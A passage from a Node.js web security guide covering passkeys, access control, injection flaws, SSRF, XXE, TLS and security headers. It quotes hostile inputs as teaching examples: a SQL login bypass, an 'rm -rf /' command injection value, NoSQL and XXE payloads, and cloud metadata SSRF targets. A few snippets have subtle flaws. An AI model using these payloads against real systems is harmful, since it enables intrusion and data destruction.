rpID: 'example.com',
userID: user.id,
userName: user.email,
userDisplayName: user.name,
attestationType: 'none',
authenticatorSelection: {
authenticatorAttachment: 'platform', // 'platform' or 'cross-platform'
userVerification: 'required',
residentKey: 'required'
},
timeout: 60000
});
// Store challenge in session
req.session.challenge = options.challenge;
res.json(options);
});
// Client-side: Create credential
async function registerPasskey() {
const optionsResponse = await fetch('/webauthn/register/start', {
method: 'POST',
credentials: 'include'
});
const options = await optionsResponse.json();
// Browser API
const credential = await navigator.credentials.create({
publicKey: options
});
// Send credential to server
await fetch('/webauthn/register/finish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify(credential)
});
}
// Server-side: Verify and store credential
app.post('/webauthn/register/finish', async (req, res) => {
const user = req.user;
const credential = req.body;
const expectedChallenge = req.session.challenge;
try {
const verification = await verifyRegistrationResponse({
response: credential,
expectedChallenge: expectedChallenge,
expectedOrigin: 'https://example.com',
expectedRPID: 'example.com'
});
if (verification.verified) {
// Store credential in database
await db.query(
'INSERT INTO webauthn_credentials (user_id, credential_id, public_key, counter) VALUES (?, ?, ?, ?)',
[user.id, verification.registrationInfo.credentialID, verification.registrationInfo.credentialPublicKey, 0]
);
res.json({ success: true });
} else {
res.status(400).json({ error: 'Verification failed' });
}
} catch (err) {
res.status(400).json({ error: err.message });
}
});
Authentication (Using Passkey):
// Server-side: Generate authentication challenge
const { generateAuthenticationOptions, verifyAuthenticationResponse } = require('@simplewebauthn/server');
app.post('/webauthn/auth/start', async (req, res) => {
const { email } = req.body;
const user = await getUserByEmail(email);
if (!user) {
return res.status(404).json({ error: 'User not found' });
}
const userCredentials = await getUserCredentials(user.id);
const options = generateAuthenticationOptions({
rpID: 'example.com',
allowCredentials: userCredentials.map(cred => ({
id: cred.credentialId,
type: 'public-key',
transports: ['internal', 'hybrid']
})),
userVerification: 'required',
timeout: 60000
});
req.session.challenge = options.challenge;
req.session.userId = user.id;
res.json(options);
});
// Client-side: Get credential
async function authenticateWithPasskey(email) {
const optionsResponse = await fetch('/webauthn/auth/start', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify({ email })
});
const options = await optionsResponse.json();
const credential = await navigator.credentials.get({
publicKey: options
});
const response = await fetch('/webauthn/auth/finish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify(credential)
});
return response.json();
}
// Server-side: Verify authentication
app.post('/webauthn/auth/finish', async (req, res) => {
const credential = req.body;
const expectedChallenge = req.session.challenge;
const userId = req.session.userId;
const userCredential = await getCredentialById(credential.id);
if (!userCredential) {
return res.status(404).json({ error: 'Credential not found' });
}
try {
const verification = await verifyAuthenticationResponse({
response: credential,
expectedChallenge: expectedChallenge,
expectedOrigin: 'https://example.com',
expectedRPID: 'example.com',
authenticator: {
credentialID: userCredential.credentialId,
credentialPublicKey: userCredential.publicKey,
counter: userCredential.counter
}
});
if (verification.verified) {
// Update counter
await updateCredentialCounter(credential.id, verification.authenticationInfo.newCounter);
// Create session
const sessionId = await createSession(userId);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
} else {
res.status(401).json({ error: 'Verification failed' });
}
} catch (err) {
res.status(401).json({ error: err.message });
}
});
Authorization Patternsโ
Role-Based Access Control (RBAC):
// Define roles and permissions
const ROLES = {
ADMIN: 'admin',
MODERATOR: 'moderator',
USER: 'user',
GUEST: 'guest'
};
const PERMISSIONS = {
USER_CREATE: 'user:create',
USER_READ: 'user:read',
USER_UPDATE: 'user:update',
USER_DELETE: 'user:delete',
POST_CREATE: 'post:create',
POST_UPDATE_OWN: 'post:update:own',
POST_UPDATE_ANY: 'post:update:any',
POST_DELETE_ANY: 'post:delete:any'
};
const ROLE_PERMISSIONS = {
[ROLES.ADMIN]: Object.values(PERMISSIONS),
[ROLES.MODERATOR]: [
PERMISSIONS.USER_READ,
PERMISSIONS.POST_CREATE,
PERMISSIONS.POST_UPDATE_ANY,
PERMISSIONS.POST_DELETE_ANY
],
[ROLES.USER]: [
PERMISSIONS.USER_READ,
PERMISSIONS.POST_CREATE,
PERMISSIONS.POST_UPDATE_OWN
],
[ROLES.GUEST]: [
PERMISSIONS.USER_READ
]
};
// Middleware
function requirePermission(permission) {
return async (req, res, next) => {
const user = req.user;
if (!user) {
return res.status(401).json({ error: 'Unauthorized' });
}
const userPermissions = ROLE_PERMISSIONS[user.role] || [];
if (!userPermissions.includes(permission)) {
return res.status(403).json({ error: 'Forbidden: Insufficient permissions' });
}
next();
};
}
function requireRole(...roles) {
return (req, res, next) => {
if (!req.user || !roles.includes(req.user.role)) {
return res.status(403).json({ error: 'Forbidden: Insufficient role' });
}
next();
};
}
// Usage
app.post('/users',
authenticateToken,
requirePermission(PERMISSIONS.USER_CREATE),
createUser
);
app.delete('/posts/:id',
authenticateToken,
requirePermission(PERMISSIONS.POST_DELETE_ANY),
deletePost
);
app.put('/posts/:id',
authenticateToken,
async (req, res, next) => {
const post = await getPostById(req.params.id);
// Check ownership
if (post.authorId === req.user.id) {
return requirePermission(PERMISSIONS.POST_UPDATE_OWN)(req, res, next);
} else {
return requirePermission(PERMISSIONS.POST_UPDATE_ANY)(req, res, next);
}
},
updatePost
);
Attribute-Based Access Control (ABAC):
// Policy engine
class PolicyEngine {
constructor() {
this.policies = [];
}
addPolicy(policy) {
this.policies.push(policy);
}
evaluate(subject, action, resource, context = {}) {
for (const policy of this.policies) {
if (policy.matches(subject, action, resource, context)) {
return policy.effect === 'allow';
}
}
return false; // Deny by default
}
}
// Example policies
const policyEngine = new PolicyEngine();
policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return subject.role === 'admin'; // Admins can do anything
}
});
policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return action === 'read' && resource.visibility === 'public';
}
});
policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return action === 'update' &&
resource.authorId === subject.id &&
context.withinBusinessHours === true;
}
});
// Middleware
function requireAccess(action, getResource) {
return async (req, res, next) => {
const subject = req.user;
const resource = await getResource(req);
const context = {
withinBusinessHours: isBusinessHours(),
ipAddress: req.ip
};
if (!policyEngine.evaluate(subject, action, resource, context)) {
return res.status(403).json({ error: 'Access denied' });
}
next();
};
}
// Usage
app.put('/documents/:id',
authenticateToken,
requireAccess('update', async (req) => {
return await getDocumentById(req.params.id);
}),
updateDocument
);
6. Backend & API Securityโ
Input Validationโ
Validation Libraries:
// Using Zod
const { z } = require('zod');
const userSchema = z.object({
email: z.string().email().max(255),
password: z.string().min(12).max(128),
age: z.number().int().min(13).max(120),
username: z.string().regex(/^[a-zA-Z0-9_-]{3,20}$/),
website: z.string().url().optional(),
bio: z.string().max(500).optional()
});
app.post('/register', async (req, res) => {
try {
const validData = userSchema.parse(req.body);
// Process valid data
await createUser(validData);
res.json({ success: true });
} catch (err) {
if (err instanceof z.ZodError) {
return res.status(400).json({
error: 'Validation failed',
details: err.errors
});
}
throw err;
}
});
// Using Joi
const Joi = require('joi');
const postSchema = Joi.object({
title: Joi.string().min(1).max(200).required(),
content: Joi.string().min(1).max(50000).required(),
tags: Joi.array().items(Joi.string().max(30)).max(10),
publishedAt: Joi.date().iso().optional(),
metadata: Joi.object().unknown(true).optional()
});
const { error, value } = postSchema.validate(req.body, {
abortEarly: false,
stripUnknown: true
});
if (error) {
return res.status(400).json({
error: error.details.map(d => d.message)
});
}
Sanitization:
const validator = require('validator');
const xss = require('xss');
function sanitizeInput(input) {
// Remove control characters
let sanitized = input.replace(/[\x00-\x1F\x7F]/g, '');
// Escape HTML
sanitized = validator.escape(sanitized);
// Additional XSS protection
sanitized = xss(sanitized, {
whiteList: {}, // No HTML allowed
stripIgnoreTag: true,
stripIgnoreTagBody: ['script', 'style']
});
return sanitized.trim();
}
// File upload validation
const multer = require('multer');
const path = require('path');
const fileFilter = (req, file, cb) => {
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
const allowedExts = ['.jpg', '.jpeg', '.png', '.gif'];
const ext = path.extname(file.originalname).toLowerCase();
if (!allowedMimes.includes(file.mimetype) || !allowedExts.includes(ext)) {
return cb(new Error('Invalid file type'), false);
}
cb(null, true);
};
const upload = multer({
storage: multer.diskStorage({
destination: './uploads/',
filename: (req, file, cb) => {
// Generate random filename to prevent path traversal
const uniqueName = `${Date.now()}-${crypto.randomBytes(8).toString('hex')}${path.extname(file.originalname)}`;
cb(null, uniqueName);
}
}),
fileFilter: fileFilter,
limits: {
fileSize: 5 * 1024 * 1024, // 5MB
files: 1
}
});
app.post('/upload', upload.single('image'), (req, res) => {
res.json({ filename: req.file.filename });
});
SQL Injectionโ
What It Is:
-- Vulnerable query
SELECT * FROM users WHERE username = '${username}' AND password = '${password}'
-- Attack input
username: admin'--
password: anything
-- Resulting query (-- comments out password check)
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
Prevention:
1. Parameterized Queries (Prepared Statements):
// โ VULNERABLE
const query = `SELECT * FROM users WHERE email = '${email}'`;
db.query(query, (err, results) => {
// Dangerous!
});
// โ
SAFE - MySQL with placeholders
const query = 'SELECT * FROM users WHERE email = ?';
db.query(query, [email], (err, results) => {
// Safe!
});
// โ
SAFE - PostgreSQL with named parameters
const query = 'SELECT * FROM users WHERE email = $1';
db.query(query, [email], (err, results) => {
// Safe!
});
// โ
SAFE - Using ORM (Sequelize)
const user = await User.findOne({
where: {
email: email
}
});
// โ
SAFE - Using query builder (Knex)
const users = await knex('users')
.where('email', email)
.select('*');
2. Input Validation:
const validator = require('validator');
function validateEmail(email) {
if (!validator.isEmail(email)) {
throw new Error('Invalid email format');
}
if (email.length > 255) {
throw new Error('Email too long');
}
return email;
}
function validateId(id) {
const parsed = parseInt(id, 10);
if (isNaN(parsed) || parsed < 1) {
throw new Error('Invalid ID');
}
return parsed;
}
app.get('/users/:id', async (req, res) => {
try {
const userId = validateId(req.params.id);
const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
res.json(user);
} catch (err) {
res.status(400).json({ error: err.message });
}
});
3. Least Privilege Database Access:
-- Create restricted user for application
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON myapp.users TO 'app_user'@'localhost';
GRANT SELECT, INSERT, UPDATE ON myapp.posts TO 'app_user'@'localhost';
-- Don't grant DELETE, DROP, or admin privileges
Best Practices: โ Use: Parameterized queries always โ Use: ORMs with parameter binding โ Use: Input validation and type checking โ Use: Least privilege database accounts โ Avoid: String concatenation for queries โ Avoid: Dynamic SQL with user input โ Avoid: Displaying database errors to users
NoSQL Injectionโ
MongoDB Injection Example:
// โ VULNERABLE
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Attack: username = {"$gt": ""}, password = {"$gt": ""}
const user = await db.collection('users').findOne({
username: username,
password: password
});
if (user) {
res.json({ success: true });
}
});
// โ
SAFE - Validate and sanitize
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Ensure inputs are strings
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
const user = await db.collection('users').findOne({
username: username,
password: password // Should be hashed!
});
if (user) {
res.json({ success: true });
}
});
// โ
BETTER - Using Mongoose with schema validation
const userSchema = new mongoose.Schema({
username: { type: String, required: true },
password: { type: String, required: true }
});
const User = mongoose.model('User', userSchema);
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await User.findOne({ username, password });
// Mongoose automatically sanitizes
});
Sanitization Library:
const mongoSanitize = require('express-mongo-sanitize');
// Sanitize all user input
app.use(mongoSanitize({
replaceWith: '_',
onSanitize: ({ req, key }) => {
console.warn(`Sanitized ${key} in ${req.path}`);
}
}));
// Or manually sanitize
const sanitize = require('mongo-sanitize');
app.post('/search', async (req, res) => {
const query = sanitize(req.body.query);
const results = await db.collection('posts').find({ title: query });
res.json(results);
});
Command Injectionโ
What It Is:
// โ VULNERABLE
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
const host = req.query.host;
// Attack: host = "google.com; rm -rf /"
exec(`ping -c 4 ${host}`, (err, stdout) => {
res.send(stdout);
});
});
Prevention:
// โ
SAFE - Use parameterized execution
const { execFile } = require('child_process');
app.get('/ping', (req, res) => {
const host = req.query.host;
// Validate hostname
if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
return res.status(400).json({ error: 'Invalid hostname' });
}
// execFile doesn't invoke shell
execFile('ping', ['-c', '4', host], (err, stdout) => {
if (err) {
return res.status(500).json({ error: 'Ping failed' });
}
res.send(stdout);
});
});
// โ
BETTER - Avoid executing external commands
// Use native libraries instead
const ping = require('ping');
app.get('/ping', async (req, res) => {
const host = req.query.host;
try {
const result = await ping.promise.probe(host, {
timeout: 10
});
res.json(result);
} catch (err) {
res.status(500).json({ error: 'Ping failed' });
}
});
Insecure Direct Object References (IDOR)โ
Vulnerable Example:
// โ VULNERABLE - No authorization check
app.get('/api/orders/:id', authenticateToken, async (req, res) => {
const order = await db.query('SELECT * FROM orders WHERE id = ?', [req.params.id]);
// Anyone authenticated can view any order!
res.json(order);
});
// Attack: User changes URL from /api/orders/123 to /api/orders/124
Prevention:
// โ
SAFE - Verify ownership
app.get('/api/orders/:id', authenticateToken, async (req, res) => {
const order = await db.query(
'SELECT * FROM orders WHERE id = ? AND user_id = ?',
[req.params.id, req.user.id]
);
if (!order) {
return res.status(404).json({ error: 'Order not found' });
}
res.json(order);
});
// โ
SAFE - Reusable authorization middleware
async function authorizeResource(resourceType) {
return async (req, res, next) => {
const resourceId = req.params.id;
const userId = req.user.id;
const resource = await getResource(resourceType, resourceId);
if (!resource) {
return res.status(404).json({ error: 'Resource not found' });
}
// Check ownership
if (resource.userId !== userId && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
req.resource = resource;
next();
};
}
app.get('/api/orders/:id',
authenticateToken,
authorizeResource('order'),
(req, res) => {
res.json(req.resource);
}
);
app.delete('/api/documents/:id',
authenticateToken,
authorizeResource('document'),
async (req, res) => {
await deleteDocument(req.params.id);
res.json({ success: true });
}
);
Use UUIDs Instead of Sequential IDs:
// โ Predictable IDs
// Orders: 1, 2, 3, 4, 5... (easy to enumerate)
// โ
UUIDs
const { v4: uuidv4 } = require('uuid');
const orderId = uuidv4(); // e.g., "550e8400-e29b-41d4-a716-446655440000"
// Still need authorization checks, but harder to enumerate
Server-Side Request Forgery (SSRF)โ
Vulnerable Example:
// โ VULNERABLE
app.get('/fetch-url', async (req, res) => {
const url = req.query.url;
// Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
// Attack: url = "http://localhost:6379/" (Redis)
const response = await axios.get(url);
res.send(response.data);
});
Prevention:
const axios = require('axios');
const { URL } = require('url');
// Whitelist of allowed domains
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
// Blacklist of dangerous hosts/IPs
const BLOCKED_HOSTS = [
'localhost',
'127.0.0.1',
'0.0.0.0',
'169.254.169.254', // AWS metadata
'169.254.169.253',
'[::1]', // IPv6 localhost
'[0:0:0:0:0:0:0:1]'
];
const BLOCKED_IP_RANGES = [
/^10\./, // Private network
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // Private network
/^192\.168\./, // Private network
/^127\./, // Loopback
/^169\.254\./ // Link-local
];
function isUrlSafe(urlString) {
try {
const url = new URL(urlString);
// Only allow HTTP/HTTPS
if (!['http:', 'https:'].includes(url.protocol)) {
return false;
}
// Check whitelist
if (!ALLOWED_DOMAINS.some(domain => url.hostname.endsWith(domain))) {
return false;
}
// Check blacklist
if (BLOCKED_HOSTS.includes(url.hostname.toLowerCase())) {
return false;
}
// Check IP ranges
if (BLOCKED_IP_RANGES.some(pattern => pattern.test(url.hostname))) {
return false;
}
return true;
} catch (err) {
return false;
}
}
// โ
SAFE
app.get('/fetch-url', async (req, res) => {
const url = req.query.url;
if (!isUrlSafe(url)) {
return res.status(400).json({ error: 'Invalid or forbidden URL' });
}
try {
const response = await axios.get(url, {
timeout: 5000,
maxRedirects: 0, // Disable redirects
validateStatus: status => status === 200
});
res.send(response.data);
} catch (err) {
res.status(500).json({ error: 'Failed to fetch URL' });
}
});
XML External Entity (XXE)โ
Vulnerable Example:
// โ VULNERABLE
const libxmljs = require('libxmljs');
app.post('/parse-xml', (req, res) => {
const xml = req.body.xml;
// Attack XML:
// <?xml version="1.0"?>
// <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
// <data>&xxe;</data>
const doc = libxmljs.parseXml(xml);
res.send(doc.toString());
});
Prevention:
// โ
SAFE - Disable external entities
const libxmljs = require('libxmljs');
app.post('/parse-xml', (req, res) => {
const xml = req.body.xml;
try {
const doc = libxmljs.parseXml(xml, {
noent: false, // Don't substitute entities
nonet: true, // Don't fetch external resources
dtdload: false, // Don't load external DTD
dtdvalid: false // Don't validate against DTD
});
res.send(doc.toString());
} catch (err) {
res.status(400).json({ error: 'Invalid XML' });
}
});
// โ
BETTER - Use JSON instead of XML when possible
app.post('/parse-data', express.json(), (req, res) => {
// JSON doesn't have XXE vulnerabilities
const data = req.body;
res.json(data);
});
API Security Best Practicesโ
Rate Limiting:
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
// General API rate limit
const apiLimiter = rateLimit({
store: new RedisStore({
client: redisClient,
prefix: 'rl:api:'
}),
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests, please try again later' }
});
app.use('/api/', apiLimiter);
// Stricter limit for authentication endpoints
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
skipSuccessfulRequests: true
});
app.post('/api/login', authLimiter, loginHandler);
// Per-user rate limiting
const createUserLimiter = () => rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 10,
keyGenerator: (req) => req.user?.id || req.ip,
skip: (req) => req.user?.role === 'admin'
});
app.post('/api/posts', authenticateToken, createUserLimiter(), createPost);
API Versioning:
// URL versioning
app.use('/api/v1', v1Router);
app.use('/api/v2', v2Router);
// Header versioning
app.use((req, res, next) => {
const version = req.headers['api-version'] || '1';
req.apiVersion = version;
next();
});
// Deprecation warnings
app.use('/api/v1', (req, res, next) => {
res.set('Warning', '299 - "API v1 is deprecated, please use v2"');
res.set('Sunset', 'Sat, 31 Dec 2025 23:59:59 GMT');
next();
});
Request Validation:
const { body, param, query, validationResult } = require('express-validator');
const validateRequest = (req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
next();
};
app.post('/api/users',
[
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 12 }),
body('age').optional().isInt({ min: 13, max: 120 }),
validateRequest
],
createUser
);
app.get('/api/users/:id',
[
param('id').isUUID(),
validateRequest
],
getUser
);
app.get('/api/posts',
[
query('page').optional().isInt({ min: 1 }),
query('limit').optional().isInt({ min: 1, max: 100 }),
query('sort').optional().isIn(['asc', 'desc']),
validateRequest
],
getPosts
);
API Authentication:
// API Key authentication
const API_KEYS = new Map(); // In production, use database
function authenticateAPIKey(req, res, next) {
const apiKey = req.headers['x-api-key'];
if (!apiKey) {
return res.status(401).json({ error: 'API key required' });
}
const keyData = API_KEYS.get(apiKey);
if (!keyData || keyData.expiresAt < Date.now()) {
return res.status(401).json({ error: 'Invalid or expired API key' });
}
req.apiKeyData = keyData;
next();
}
// Generate API keys
function generateAPIKey() {
return crypto.randomBytes(32).toString('base64url');
}
app.post('/api/keys/generate', authenticateToken, async (req, res) => {
const apiKey = generateAPIKey();
const expiresAt = Date.now() + (365 * 24 * 60 * 60 * 1000); // 1 year
await db.query(
'INSERT INTO api_keys (key_hash, user_id, expires_at) VALUES (?, ?, ?)',
[hashAPIKey(apiKey), req.user.id, expiresAt]
);
// Return key only once
res.json({
apiKey: apiKey,
expiresAt: expiresAt,
warning: 'Store this key securely. It will not be shown again.'
});
});
function hashAPIKey(key) {
return crypto.createHash('sha256').update(key).digest('hex');
}
Response Security:
// Don't leak sensitive info in responses
app.use((err, req, res, next) => {
console.error(err); // Log full error server-side
// Send generic error to client
res.status(err.status || 500).json({
error: process.env.NODE_ENV === 'production'
? 'An error occurred'
: err.message
});
});
// Remove sensitive fields
function sanitizeUser(user) {
const { password, passwordResetToken, mfaSecret, ...safe } = user;
return safe;
}
app.get('/api/users/:id', async (req, res) => {
const user = await getUserById(req.params.id);
res.json(sanitizeUser(user));
});
// Set proper content type
app.use((req, res, next) => {
res.type('application/json');
next();
});
7. Transport & Network Securityโ
HTTPS & TLSโ
Why HTTPS:
- Encryption: Protects data in transit
- Authentication: Verifies server identity
- Integrity: Prevents tampering
TLS Configuration (Node.js):
const https = require('https');
const fs = require('fs');
const options = {
key: fs.readFileSync('/path/to/private-key.pem'),
cert: fs.readFileSync('/path/to/certificate.pem'),
ca: fs.readFileSync('/path/to/ca-certificate.pem'),
// Security settings
minVersion: 'TLSv1.2',
maxVersion: 'TLSv1.3',
ciphers: [
'ECDHE-ECDSA-AES128-GCM-SHA256',
'ECDHE-RSA-AES128-GCM-SHA256',
'ECDHE-ECDSA-AES256-GCM-SHA384',
'ECDHE-RSA-AES256-GCM-SHA384',
'ECDHE-ECDSA-CHACHA20-POLY1305',
'ECDHE-RSA-CHACHA20-POLY1305'
].join(':'),
honorCipherOrder: true,
// Disable insecure renegotiation
secureOptions: crypto.constants.SSL_OP_NO_RENEGOTIATION
};
https.createServer(options, app).listen(443);
Nginx TLS Configuration:
server {
listen 443 ssl http2;
server_name example.com;
# Certificates
ssl_certificate /path/to/fullchain.pem;
ssl_certificate_key /path/to/privkey.pem;
# TLS versions
ssl_protocols TLSv1.2 TLSv1.3;
# Ciphers
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_prefer_server_ciphers off;
# Performance
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
ssl_session_tickets off;
# OCSP Stapling
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /path/to/chain.pem;
# Security headers
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
location / {
proxy_pass http://localhost:3000;
}
}
# Redirect HTTP to HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
Certificate Managementโ
Let's Encrypt with Certbot:
# Install certbot
sudo apt-get install certbot python3-certbot-nginx
# Obtain certificate
sudo certbot --nginx -d example.com -d www.example.com
# Auto-renewal (runs twice daily)
sudo certbot renew --dry-run
# Renewal hook
sudo certbot renew --deploy-hook "systemctl reload nginx"
Automated Renewal (Cron):
# /etc/cron.d/certbot
0 */12 * * * root certbot renew --quiet --deploy-hook "systemctl reload nginx"
Certificate Monitoring:
const https = require('https');
const tls = require('tls');
async function checkCertificateExpiry(hostname) {
return new Promise((resolve, reject) => {
const socket = tls.connect(443, hostname, () => {
const cert = socket.getPeerCertificate();
if (!socket.authorized) {
reject(new Error('Certificate not authorized'));
}
const daysUntilExpiry = Math.floor(
(new Date(cert.valid_to) - new Date()) / (1000 * 60 * 60 * 24)
);
socket.end();
resolve({
hostname,
issuer: cert.issuer.O,
validFrom: cert.valid_from,
validTo: cert.valid_to,
daysUntilExpiry
});
});
socket.on('error', reject);
});
}
// Alert if certificate expires soon
const domains = ['example.com', 'api.example.com'];
setInterval(async () => {
for (const domain of domains) {
const cert = await checkCertificateExpiry(domain);
if (cert.daysUntilExpiry < 30) {
console.warn(`Certificate for ${domain} expires in ${cert.daysUntilExpiry} days!`);
// Send alert
}
}
}, 24 * 60 * 60 * 1000); // Check daily
HTTP Strict Transport Security (HSTS)โ
Header Configuration:
// Express
app.use((req, res, next) => {
res.setHeader(
'Strict-Transport-Security',
'max-age=63072000; includeSubDomains; preload'
);
next();
});
// Or use Helmet
const helmet = require('helmet');
app.use(helmet.hsts({
maxAge: 63072000, // 2 years
includeSubDomains: true,
preload: true
}));
HSTS Preload:
- Set header with
preloaddirective - Submit domain to https://hstspreload.org
- Domain will be hardcoded into browsers
Requirements for Preload:
- Valid certificate
- Redirect HTTP to HTTPS on same host
- Serve HSTS header on all subdomains
- HSTS
max-ageat least 31536000 (1 year) - Include
includeSubDomainsdirective - Include
preloaddirective
DNS Securityโ
DNSSEC:
# Enable DNSSEC on your domain
# Cloudflare example
# In Cloudflare dashboard: DNS > DNSSEC > Enable
DNS over HTTPS (DoH):
// Configure DNS resolver in application
const dns = require('dns').promises;
dns.setServers([
'1.1.1.1', // Cloudflare
'8.8.8.8' // Google
]);
Subdomain Takeover Prevention:
# Remove unused DNS records
# Monitor for dangling CNAMEs pointing to:
# - Deleted cloud resources (S3, Azure, etc.)
# - Expired services (Heroku, GitHub Pages)
# - Unused CDN endpoints
# Example vulnerable record:
blog.example.com CNAME old-app.herokuapp.com # If old-app is deleted, anyone can claim it!
CAA Records:
# Specify which CAs can issue certificates for your domain
example.com. CAA 0 issue "letsencrypt.org"
example.com. CAA 0 issuewild "letsencrypt.org"
example.com. CAA 0 iodef "mailto:security@example.com"
DDoS Protectionโ
Application-Level Protection:
// Request size limits
app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
// Slow request timeout
const timeout = require('connect-timeout');
app.use(timeout('5s'));
// Connection limits
const server = app.listen(3000);
server.maxConnections = 1000;
// Rate limiting (see previous section)
Nginx Configuration:
# Connection limits per IP
limit_conn_zone $binary_remote_addr zone=addr:10m;
limit_conn addr 10;
# Request rate limiting
limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
limit_req zone=one burst=20 nodelay;
# Timeout settings
client_body_timeout 12;
client_header_timeout 12;
keepalive_timeout 15;
send_timeout 10;
# Buffer limits
client_body_buffer_size 1K;
client_header_buffer_size 1k;
client_max_body_size 1k;
large_client_header_buffers 2 1k;
CDN & WAF:
- Use Cloudflare, AWS CloudFront, or Fastly
- Enable WAF (Web Application Firewall)
- Configure rate limiting rules
- Enable bot protection
- Use challenge pages for suspicious traffic
8. Security Headersโ
Essential Headers Overviewโ
const helmet = require('helmet');
// Use Helmet for automatic header configuration
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{RANDOM}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: []
}
},
strictTransportSecurity: {
maxAge: 63072000,
includeSubDomains: true,
preload: true
},
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
},
xContentTypeOptions: true,
xFrameOptions: { action: 'deny' },
xXssProtection: true
}));
// Or set manually
app.use((req, res, next) => {
// CSP
res.setHeader('Content-Security-Policy', "default-src 'self'");
// HSTS
res.setHeader('Strict-Transport-Security', 'max-age=63072000; includeSubDomains; preload');
// Prevent MIME sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');
// Clickjacking protection
res.setHeader('X-Frame-Options', 'DENY');
// XSS protection (legacy)
res.setHeader('X-XSS-Protection', '1; mode=block');
// Referrer policy
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// Permissions policy
res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=()');
next();
});
Content-Security-Policy (Detailed)โ
Comprehensive Policy:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://trusted-cdn.com;
style-src 'self' 'nonce-{random}' https://fonts.googleapis.com;
img-src 'self' https: data: blob:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com wss://ws.example.com;
media-src 'self' https://media.example.com;
object-src 'none';
frame-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
block-all-mixed-content;
report-uri /csp-violation-report;
Progressive Enhancement:
// Start with report-only mode
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy-Report-Only', `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'nonce-${nonce}';
report-uri /csp-violation-report;
`.replace(/\s+/g, ' ').trim());
next();
});
// Collect violations
app.post('/csp-violation-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report'];
console.log('CSP Violation:', {
documentUri: report['document-uri'],
violatedDirective: report['violated-directive'],
blockedUri: report['blocked-uri'],
originalPolicy: report['original-policy']
});
// Send to monitoring service
monitoring.track('csp-violation', report);
res.status(204).end();
});
// After analyzing violations, switch to enforcement mode
X-Frame-Optionsโ
// Deny all framing
res.setHeader('X-Frame-Options', 'DENY');
// Allow framing only from same origin
res.setHeader('X-Frame-Options', 'SAMEORIGIN');
// Note: X-Frame-Options is legacy, use CSP frame-ancestors instead
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
X-Content-Type-Optionsโ
// Prevent MIME-sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');
// Always set correct Content-Type
res.setHeader('Content-Type', 'application/json; charset=utf-8');
Referrer-Policyโ
// Policies from most to least restrictive:
// No referrer information
res.setHeader('Referrer-Policy', 'no-referrer');
// Send only origin on cross-origin requests
res.setHeader('Referrer-Policy', 'origin');
// Send full URL for same-origin, only origin for cross-origin
